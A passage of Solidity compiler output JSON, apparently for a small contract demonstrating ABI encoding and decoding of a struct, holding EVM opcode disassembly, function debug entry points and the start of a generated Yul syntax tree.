DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 PUSH2 0x54A DUP3 PUSH2 0x526 JUMP JUMPDEST PUSH2 0x554 DUP2 DUP6 PUSH2 0x530 JUMP JUMPDEST SWAP4 POP PUSH2 0x564 DUP2 DUP6 PUSH1 0x20 DUP7 ADD PUSH2 0x321 JUMP JUMPDEST PUSH2 0x56D DUP2 PUSH2 0x349 JUMP JUMPDEST DUP5 ADD SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 PUSH1 0x2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x5AA DUP2 PUSH2 0x578 JUMP JUMPDEST PUSH2 0x5B4 DUP2 DUP5 PUSH2 0x582 JUMP JUMPDEST SWAP3 POP PUSH2 0x5BF DUP3 PUSH2 0x58C JUMP JUMPDEST DUP1 PUSH0 JUMPDEST DUP4 DUP2 LT ISZERO PUSH2 0x5EF JUMPI DUP2 MLOAD PUSH2 0x5D6 DUP8 DUP3 PUSH2 0x4A7 JUMP JUMPDEST SWAP7 POP PUSH2 0x5E1 DUP4 PUSH2 0x595 JUMP JUMPDEST SWAP3 POP POP PUSH1 0x1 DUP2 ADD SWAP1 POP PUSH2 0x5C2 JUMP JUMPDEST POP POP POP POP POP POP JUMP JUMPDEST PUSH0 PUSH1 0x60 DUP4 ADD PUSH0 DUP4 ADD MLOAD DUP5 DUP3 SUB PUSH0 DUP7 ADD MSTORE PUSH2 0x611 DUP3 DUP3 PUSH2 0x540 JUMP JUMPDEST SWAP2 POP POP PUSH1 0x20 DUP4 ADD MLOAD PUSH2 0x626 PUSH1 0x20 DUP7 ADD DUP3 PUSH2 0x5A1 JUMP JUMPDEST POP DUP1 SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 PUSH1 0x80 DUP3 ADD SWAP1 POP PUSH2 0x644 PUSH0 DUP4 ADD DUP8 PUSH2 0x451 JUMP JUMPDEST PUSH2 0x651 PUSH1 0x20 DUP4 ADD DUP7 PUSH2 0x460 JUMP JUMPDEST DUP2 DUP2 SUB PUSH1 0x40 DUP4 ADD MSTORE PUSH2 0x663 DUP2 DUP6 PUSH2 0x4CA JUMP JUMPDEST SWAP1 POP DUP2 DUP2 SUB PUSH1 0x60 DUP4 ADD MSTORE PUSH2 0x677 DUP2 DUP5 PUSH2 0x5F7 JUMP JUMPDEST SWAP1 POP SWAP6 SWAP5 POP POP POP POP POP JUMP JUMPDEST PUSH0 DUP1 REVERT JUMPDEST DUP3 DUP2 DUP4 CALLDATACOPY POP POP POP JUMP JUMPDEST PUSH0 PUSH2 0x69A DUP4 DUP6 PUSH2 0x479 JUMP JUMPDEST SWAP4 POP PUSH32 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP4 GT ISZERO PUSH2 0x6CD JUMPI PUSH2 0x6CC PUSH2 0x682 JUMP JUMPDEST JUMPDEST PUSH1 0x20 DUP4 MUL SWAP3 POP PUSH2 0x6DE DUP4 DUP6 DUP5 PUSH2 0x686 JUMP JUMPDEST DUP3 DUP5 ADD SWAP1 POP SWAP4 SWAP3 POP POP POP JUMP JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 DUP1 DUP4 CALLDATALOAD PUSH1 0x1 PUSH1 0x20 SUB DUP5 CALLDATASIZE SUB SUB DUP2 SLT PUSH2 0x712 JUMPI PUSH2 0x711 PUSH2 0x6F2 JUMP JUMPDEST JUMPDEST DUP4 DUP2 ADD SWAP3 POP DUP3 CALLDATALOAD SWAP2 POP PUSH1 0x20 DUP4 ADD SWAP3 POP PUSH8 0xFFFFFFFFFFFFFFFF DUP3 GT ISZERO PUSH2 0x73A JUMPI PUSH2 0x739 PUSH2 0x6EA JUMP JUMPDEST JUMPDEST PUSH1 0x1 DUP3 MUL CALLDATASIZE SUB DUP4 SGT ISZERO PUSH2 0x750 JUMPI PUSH2 0x74F PUSH2 0x6EE JUMP JUMPDEST JUMPDEST POP SWAP3 POP SWAP3 SWAP1 POP JUMP JUMPDEST DUP3 DUP2 DUP4 CALLDATACOPY PUSH0 DUP4 DUP4 ADD MSTORE POP POP POP JUMP JUMPDEST PUSH0 PUSH2 0x771 DUP4 DUP6 PUSH2 0x530 JUMP JUMPDEST SWAP4 POP PUSH2 0x77E DUP4 DUP6 DUP5 PUSH2 0x758 JUMP JUMPDEST PUSH2 0x787 DUP4 PUSH2 0x349 JUMP JUMPDEST DUP5 ADD SWAP1 POP SWAP4 SWAP3 POP POP POP JUMP JUMPDEST PUSH0 DUP3 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x7A8 PUSH1 0x40 DUP4 DUP4 PUSH2 0x686 JUMP JUMPDEST POP POP JUMP JUMPDEST PUSH0 PUSH1 0x60 DUP4 ADD PUSH2 0x7BD PUSH0 DUP5 ADD DUP5 PUSH2 0x6F6 JUMP JUMPDEST DUP6 DUP4 SUB PUSH0 DUP8 ADD MSTORE PUSH2 0x7CF DUP4 DUP3 DUP5 PUSH2 0x766 JUMP JUMPDEST SWAP3 POP POP POP PUSH2 0x7E0 PUSH1 0x20 DUP5 ADD DUP5 PUSH2 0x792 JUMP JUMPDEST PUSH2 0x7ED PUSH1 0x20 DUP7 ADD DUP3 PUSH2 0x79C JUMP JUMPDEST POP DUP1 SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 PUSH1 0x80 DUP3 ADD SWAP1 POP PUSH2 0x80B PUSH0 DUP4 ADD DUP9 PUSH2 0x451 JUMP JUMPDEST PUSH2 0x818 PUSH1 0x20 DUP4 ADD DUP8 PUSH2 0x460 JUMP JUMPDEST DUP2 DUP2 SUB PUSH1 0x40 DUP4 ADD MSTORE PUSH2 0x82B DUP2 DUP6 DUP8 PUSH2 0x68F JUMP JUMPDEST SWAP1 POP DUP2 DUP2 SUB PUSH1 0x60 DUP4 ADD MSTORE PUSH2 0x83F DUP2 DUP5 PUSH2 0x7AC JUMP JUMPDEST SWAP1 POP SWAP7 SWAP6 POP POP POP POP POP POP JUMP JUMPDEST PUSH0 PUSH2 0x855 DUP3 PUSH2 0x18A JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x865 DUP2 PUSH2 0x84B JUMP JUMPDEST DUP2 EQ PUSH2 0x86F JUMPI PUSH0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x880 DUP2 PUSH2 0x85C JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH0 MSTORE PUSH1 0x41 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH0 REVERT JUMPDEST PUSH2 0x8BC DUP3 PUSH2 0x349 JUMP JUMPDEST DUP2 ADD DUP2 DUP2 LT PUSH8 0xFFFFFFFFFFFFFFFF DUP3 GT OR ISZERO PUSH2 0x8DB JUMPI PUSH2 0x8DA PUSH2 0x886 JUMP JUMPDEST JUMPDEST DUP1 PUSH1 0x40 MSTORE POP POP POP JUMP JUMPDEST PUSH0 PUSH2 0x8ED PUSH2 0x146 JUMP JUMPDEST SWAP1 POP PUSH2 0x8F9 DUP3 DUP3 PUSH2 0x8B3 JUMP JUMPDEST SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH8 0xFFFFFFFFFFFFFFFF DUP3 GT ISZERO PUSH2 0x918 JUMPI PUSH2 0x917 PUSH2 0x886 JUMP JUMPDEST JUMPDEST PUSH1 0x20 DUP3 MUL SWAP1 POP PUSH1 0x20 DUP2 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH2 0x93B PUSH2 0x936 DUP5 PUSH2 0x8FE JUMP JUMPDEST PUSH2 0x8E4 JUMP JUMPDEST SWAP1 POP DUP1 DUP4 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH1 0x20 DUP5 MUL DUP4 ADD DUP6 DUP2 GT ISZERO PUSH2 0x95E JUMPI PUSH2 0x95D PUSH2 0x1EC JUMP JUMPDEST JUMPDEST DUP4 JUMPDEST DUP2 DUP2 LT ISZERO PUSH2 0x987 JUMPI DUP1 PUSH2 0x973 DUP9 DUP3 PUSH2 0x176 JUMP JUMPDEST DUP5 MSTORE PUSH1 0x20 DUP5 ADD SWAP4 POP POP PUSH1 0x20 DUP2 ADD SWAP1 POP PUSH2 0x960 JUMP JUMPDEST POP POP POP SWAP4 SWAP3 POP POP POP JUMP JUMPDEST PUSH0 DUP3 PUSH1 0x1F DUP4 ADD SLT PUSH2 0x9A5 JUMPI PUSH2 0x9A4 PUSH2 0x1E4 JUMP JUMPDEST JUMPDEST DUP2 CALLDATALOAD PUSH2 0x9B5 DUP5 DUP3 PUSH1 0x20 DUP7 ADD PUSH2 0x929 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 PUSH8 0xFFFFFFFFFFFFFFFF DUP3 GT ISZERO PUSH2 0x9E4 JUMPI PUSH2 0x9E3 PUSH2 0x886 JUMP JUMPDEST JUMPDEST PUSH2 0x9ED DUP3 PUSH2 0x349 JUMP JUMPDEST SWAP1 POP PUSH1 0x20 DUP2 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH2 0xA0C PUSH2 0xA07 DUP5 PUSH2 0x9CA JUMP JUMPDEST PUSH2 0x8E4 JUMP JUMPDEST SWAP1 POP DUP3 DUP2 MSTORE PUSH1 0x20 DUP2 ADD DUP5 DUP5 DUP5 ADD GT ISZERO PUSH2 0xA28 JUMPI PUSH2 0xA27 PUSH2 0x9C6 JUMP JUMPDEST JUMPDEST PUSH2 0xA33 DUP5 DUP3 DUP6 PUSH2 0x758 JUMP JUMPDEST POP SWAP4 SWAP3 POP POP POP JUMP JUMPDEST PUSH0 DUP3 PUSH1 0x1F DUP4 ADD SLT PUSH2 0xA4F JUMPI PUSH2 0xA4E PUSH2 0x1E4 JUMP JUMPDEST JUMPDEST DUP2 CALLDATALOAD PUSH2 0xA5F DUP5 DUP3 PUSH1 0x20 DUP7 ADD PUSH2 0x9FA JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 PUSH8 0xFFFFFFFFFFFFFFFF DUP3 GT ISZERO PUSH2 0xA82 JUMPI PUSH2 0xA81 PUSH2 0x886 JUMP JUMPDEST JUMPDEST PUSH1 0x20 DUP3 MUL SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH2 0xA9F PUSH2 0xA9A DUP5 PUSH2 0xA68 JUMP JUMPDEST PUSH2 0x8E4 JUMP JUMPDEST SWAP1 POP DUP1 PUSH1 0x20 DUP5 MUL DUP4 ADD DUP6 DUP2 GT ISZERO PUSH2 0xAB9 JUMPI PUSH2 0xAB8 PUSH2 0x1EC JUMP JUMPDEST JUMPDEST DUP4 JUMPDEST DUP2 DUP2 LT ISZERO PUSH2 0xAE2 JUMPI DUP1 PUSH2 0xACE DUP9 DUP3 PUSH2 0x176 JUMP JUMPDEST DUP5 MSTORE PUSH1 0x20 DUP5 ADD SWAP4 POP POP PUSH1 0x20 DUP2 ADD SWAP1 POP PUSH2 0xABB JUMP JUMPDEST POP POP POP SWAP4 SWAP3 POP POP POP JUMP JUMPDEST PUSH0 DUP3 PUSH1 0x1F DUP4 ADD SLT PUSH2 0xB00 JUMPI PUSH2 0xAFF PUSH2 0x1E4 JUMP JUMPDEST JUMPDEST PUSH1 0x2 PUSH2 0xB0D DUP5 DUP3 DUP6 PUSH2 0xA8D JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 PUSH1 0x60 DUP3 DUP5 SUB SLT ISZERO PUSH2 0xB2B JUMPI PUSH2 0xB2A PUSH2 0x9BE JUMP JUMPDEST JUMPDEST PUSH2 0xB35 PUSH1 0x40 PUSH2 0x8E4 JUMP JUMPDEST SWAP1 POP PUSH0 DUP3 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0xB54 JUMPI PUSH2 0xB53 PUSH2 0x9C2 JUMP JUMPDEST JUMPDEST PUSH2 0xB60 DUP5 DUP3 DUP6 ADD PUSH2 0xA3B JUMP JUMPDEST PUSH0 DUP4 ADD MSTORE POP PUSH1 0x20 PUSH2 0xB73 DUP5 DUP3 DUP6 ADD PUSH2 0xAEC JUMP JUMPDEST PUSH1 0x20 DUP4 ADD MSTORE POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 DUP1 PUSH0 DUP1 PUSH1 0x80 DUP6 DUP8 SUB SLT ISZERO PUSH2 0xB97 JUMPI PUSH2 0xB96 PUSH2 0x14F JUMP JUMPDEST JUMPDEST PUSH0 PUSH2 0xBA4 DUP8 DUP3 DUP9 ADD PUSH2 0x176 JUMP JUMPDEST SWAP5 POP POP PUSH1 0x20 PUSH2 0xBB5 DUP8 DUP3 DUP9 ADD PUSH2 0x872 JUMP JUMPDEST SWAP4 POP POP PUSH1 0x40 DUP6 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0xBD6 JUMPI PUSH2 0xBD5 PUSH2 0x153 JUMP JUMPDEST JUMPDEST PUSH2 0xBE2 DUP8 DUP3 DUP9 ADD PUSH2 0x991 JUMP JUMPDEST SWAP3 POP POP PUSH1 0x60 DUP6 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0xC03 JUMPI PUSH2 0xC02 PUSH2 0x153 JUMP JUMPDEST JUMPDEST PUSH2 0xC0F DUP8 DUP3 DUP9 ADD PUSH2 0xB16 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP6 SWAP2 SWAP5 POP SWAP3 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 JUMPDEST PUSH19 0x5C550F5817665032EA732FACA2091D7328E7D8 0x4C 0xB0 0xB0 0xD NOT PUSH8 0xEAE8625AEF64736F PUSH13 0x63430008140033000000000000 ", | |
"sourceMap": "61:692:0:-:0;;;;;;;;;;;;;;;;;;;" | |
}, | |
"deployedBytecode": { | |
"functionDebugData": { | |
"@decode_68": { | |
"entryPoint": 208, | |
"id": 68, | |
"parameterSlots": 2, | |
"returnSlots": 4 | |
}, | |
"@encode_32": { | |
"entryPoint": 155, | |
"id": 32, | |
"parameterSlots": 5, | |
"returnSlots": 1 | |
}, | |
"abi_decode_available_length_t_array$_t_uint256_$2_memory_ptr": { | |
"entryPoint": 2701, | |
"id": null, | |
"parameterSlots": 3, | |
"returnSlots": 1 | |
}, | |
"abi_decode_available_length_t_array$_t_uint256_$dyn_memory_ptr": { | |
"entryPoint": 2345, | |
"id": null, | |
"parameterSlots": 3, | |
"returnSlots": 1 | |
}, | |
"abi_decode_available_length_t_string_memory_ptr": { | |
"entryPoint": 2554, | |
"id": null, | |
"parameterSlots": 3, | |
"returnSlots": 1 | |
}, | |
"abi_decode_t_address": { | |
"entryPoint": 464, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_decode_t_address_payable": { | |
"entryPoint": 2162, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_decode_t_array$_t_uint256_$2_memory_ptr": { | |
"entryPoint": 2796, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_decode_t_array$_t_uint256_$dyn_calldata_ptr": { | |
"entryPoint": 496, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 2 | |
}, | |
"abi_decode_t_array$_t_uint256_$dyn_memory_ptr": { | |
"entryPoint": 2449, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_decode_t_bytes_calldata_ptr": { | |
"entryPoint": 945, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 2 | |
}, | |
"abi_decode_t_string_memory_ptr": { | |
"entryPoint": 2619, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_decode_t_struct$_MyStruct_$8_calldata_ptr": { | |
"entryPoint": 585, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_decode_t_struct$_MyStruct_$8_memory_ptr": { | |
"entryPoint": 2838, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_decode_t_uint256": { | |
"entryPoint": 374, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_decode_tuple_t_bytes_calldata_ptr": { | |
"entryPoint": 1030, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 2 | |
}, | |
"abi_decode_tuple_t_uint256t_address_payablet_array$_t_uint256_$dyn_memory_ptrt_struct$_MyStruct_$8_memory_ptr": { | |
"entryPoint": 2943, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 4 | |
}, | |
"abi_decode_tuple_t_uint256t_addresst_array$_t_uint256_$dyn_calldata_ptrt_struct$_MyStruct_$8_calldata_ptr": { | |
"entryPoint": 615, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 5 | |
}, | |
"abi_encodeUpdatedPos_t_uint256_to_t_uint256": { | |
"entryPoint": 1191, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_encode_t_address_to_t_address_fromStack": { | |
"entryPoint": 1120, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 0 | |
}, | |
"abi_encode_t_array$_t_uint256_$2_calldata_ptr_to_t_array$_t_uint256_$2_memory_ptr": { | |
"entryPoint": 1948, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 0 | |
}, | |
"abi_encode_t_array$_t_uint256_$2_memory_ptr_to_t_array$_t_uint256_$2_memory_ptr": { | |
"entryPoint": 1441, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 0 | |
}, | |
"abi_encode_t_array$_t_uint256_$dyn_calldata_ptr_to_t_array$_t_uint256_$dyn_memory_ptr_fromStack": { | |
"entryPoint": 1679, | |
"id": null, | |
"parameterSlots": 3, | |
"returnSlots": 1 | |
}, | |
"abi_encode_t_array$_t_uint256_$dyn_memory_ptr_to_t_array$_t_uint256_$dyn_memory_ptr_fromStack": { | |
"entryPoint": 1226, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_encode_t_bytes_memory_ptr_to_t_bytes_memory_ptr_fromStack": { | |
"entryPoint": 857, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_encode_t_string_calldata_ptr_to_t_string_memory_ptr": { | |
"entryPoint": 1894, | |
"id": null, | |
"parameterSlots": 3, | |
"returnSlots": 1 | |
}, | |
"abi_encode_t_string_memory_ptr_to_t_string_memory_ptr": { | |
"entryPoint": 1344, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_encode_t_struct$_MyStruct_$8_calldata_ptr_to_t_struct$_MyStruct_$8_memory_ptr_fromStack": { | |
"entryPoint": 1964, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_encode_t_struct$_MyStruct_$8_memory_ptr_to_t_struct$_MyStruct_$8_memory_ptr_fromStack": { | |
"entryPoint": 1527, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_encode_t_uint256_to_t_uint256": { | |
"entryPoint": 1176, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 0 | |
}, | |
"abi_encode_t_uint256_to_t_uint256_fromStack": { | |
"entryPoint": 1105, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 0 | |
}, | |
"abi_encode_tuple_t_bytes_memory_ptr__to_t_bytes_memory_ptr__fromStack_reversed": { | |
"entryPoint": 913, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_encode_tuple_t_uint256_t_address_t_array$_t_uint256_$dyn_calldata_ptr_t_struct$_MyStruct_$8_calldata_ptr__to_t_uint256_t_address_t_array$_t_uint256_$dyn_memory_ptr_t_struct$_MyStruct_$8_memory_ptr__fromStack_reversed": { | |
"entryPoint": 2040, | |
"id": null, | |
"parameterSlots": 6, | |
"returnSlots": 1 | |
}, | |
"abi_encode_tuple_t_uint256_t_address_t_array$_t_uint256_$dyn_memory_ptr_t_struct$_MyStruct_$8_memory_ptr__to_t_uint256_t_address_t_array$_t_uint256_$dyn_memory_ptr_t_struct$_MyStruct_$8_memory_ptr__fromStack_reversed": { | |
"entryPoint": 1585, | |
"id": null, | |
"parameterSlots": 5, | |
"returnSlots": 1 | |
}, | |
"allocate_memory": { | |
"entryPoint": 2276, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"allocate_unbounded": { | |
"entryPoint": 326, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 1 | |
}, | |
"array_allocation_size_t_array$_t_uint256_$2_memory_ptr": { | |
"entryPoint": 2664, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"array_allocation_size_t_array$_t_uint256_$dyn_memory_ptr": { | |
"entryPoint": 2302, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"array_allocation_size_t_string_memory_ptr": { | |
"entryPoint": 2506, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"array_dataslot_t_array$_t_uint256_$2_memory_ptr": { | |
"entryPoint": 1420, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"array_dataslot_t_array$_t_uint256_$dyn_memory_ptr": { | |
"entryPoint": 1161, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"array_length_t_array$_t_uint256_$2_memory_ptr": { | |
"entryPoint": 1400, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"array_length_t_array$_t_uint256_$dyn_memory_ptr": { | |
"entryPoint": 1135, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"array_length_t_bytes_memory_ptr": { | |
"entryPoint": 775, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"array_length_t_string_memory_ptr": { | |
"entryPoint": 1318, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"array_nextElement_t_array$_t_uint256_$2_memory_ptr": { | |
"entryPoint": 1429, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"array_nextElement_t_array$_t_uint256_$dyn_memory_ptr": { | |
"entryPoint": 1214, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"array_storeLengthForEncoding_t_array$_t_uint256_$2_memory_ptr": { | |
"entryPoint": 1410, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"array_storeLengthForEncoding_t_array$_t_uint256_$dyn_memory_ptr_fromStack": { | |
"entryPoint": 1145, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"array_storeLengthForEncoding_t_bytes_memory_ptr_fromStack": { | |
"entryPoint": 785, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"array_storeLengthForEncoding_t_string_memory_ptr": { | |
"entryPoint": 1328, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"calldata_access_t_array$_t_uint256_$2_calldata_ptr": { | |
"entryPoint": 1938, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"calldata_access_t_string_calldata_ptr": { | |
"entryPoint": 1782, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 2 | |
}, | |
"cleanup_t_address": { | |
"entryPoint": 425, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"cleanup_t_address_payable": { | |
"entryPoint": 2123, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"cleanup_t_uint160": { | |
"entryPoint": 394, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"cleanup_t_uint256": { | |
"entryPoint": 343, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"copy_calldata_to_memory": { | |
"entryPoint": 1670, | |
"id": null, | |
"parameterSlots": 3, | |
"returnSlots": 0 | |
}, | |
"copy_calldata_to_memory_with_cleanup": { | |
"entryPoint": 1880, | |
"id": null, | |
"parameterSlots": 3, | |
"returnSlots": 0 | |
}, | |
"copy_memory_to_memory_with_cleanup": { | |
"entryPoint": 801, | |
"id": null, | |
"parameterSlots": 3, | |
"returnSlots": 0 | |
}, | |
"finalize_allocation": { | |
"entryPoint": 2227, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 0 | |
}, | |
"panic_error_0x41": { | |
"entryPoint": 2182, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"revert_error_0803104b3ab68501accf02de57372b8e5e6e1582158b771d3f89279dc6822fe2": { | |
"entryPoint": 1770, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"revert_error_15abf5612cd996bc235ba1e55a4a30ac60e6bb601ff7ba4ad3f179b6be8d0490": { | |
"entryPoint": 488, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d": { | |
"entryPoint": 484, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"revert_error_21fe6b43b4db61d76a176e95bf1a6b9ede4c301f93a4246f41fecb96e160861d": { | |
"entryPoint": 581, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"revert_error_3538a459e4a0eb828f1aed5ebe5dc96fe59620a31d9b33e41259bb820cae769f": { | |
"entryPoint": 2494, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"revert_error_3894daff73bdbb8963c284e167b207f7abade3c031c50828ea230a16bdbc0f20": { | |
"entryPoint": 1774, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"revert_error_5e8f644817bc4960744f35c15999b6eff64ae702f94b1c46297cfd4e1aec2421": { | |
"entryPoint": 2498, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"revert_error_81385d8c0b31fffe14be1da910c8bd3a80be4cfa248e04f42ec0faea3132a8ef": { | |
"entryPoint": 492, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae": { | |
"entryPoint": 2502, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": { | |
"entryPoint": 339, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"revert_error_d0468cefdb41083d2ff66f1e66140f10c9da08cd905521a779422e76a84d11ec": { | |
"entryPoint": 1666, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"revert_error_db64ea6d4a12deece376118739de8d9f517a2db5b58ea2ca332ea908c04c71d4": { | |
"entryPoint": 1778, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": { | |
"entryPoint": 335, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"round_up_to_mul_of_32": { | |
"entryPoint": 841, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"validator_revert_t_address": { | |
"entryPoint": 442, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 0 | |
}, | |
"validator_revert_t_address_payable": { | |
"entryPoint": 2140, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 0 | |
}, | |
"validator_revert_t_uint256": { | |
"entryPoint": 352, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 0 | |
} | |
}, | |
"generatedSources": [ | |
{ | |
"ast": { | |
"nodeType": "YulBlock", | |
"src": "0:23089:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "47:35:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "57:19:1", | |
"value": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "73:2:1", | |
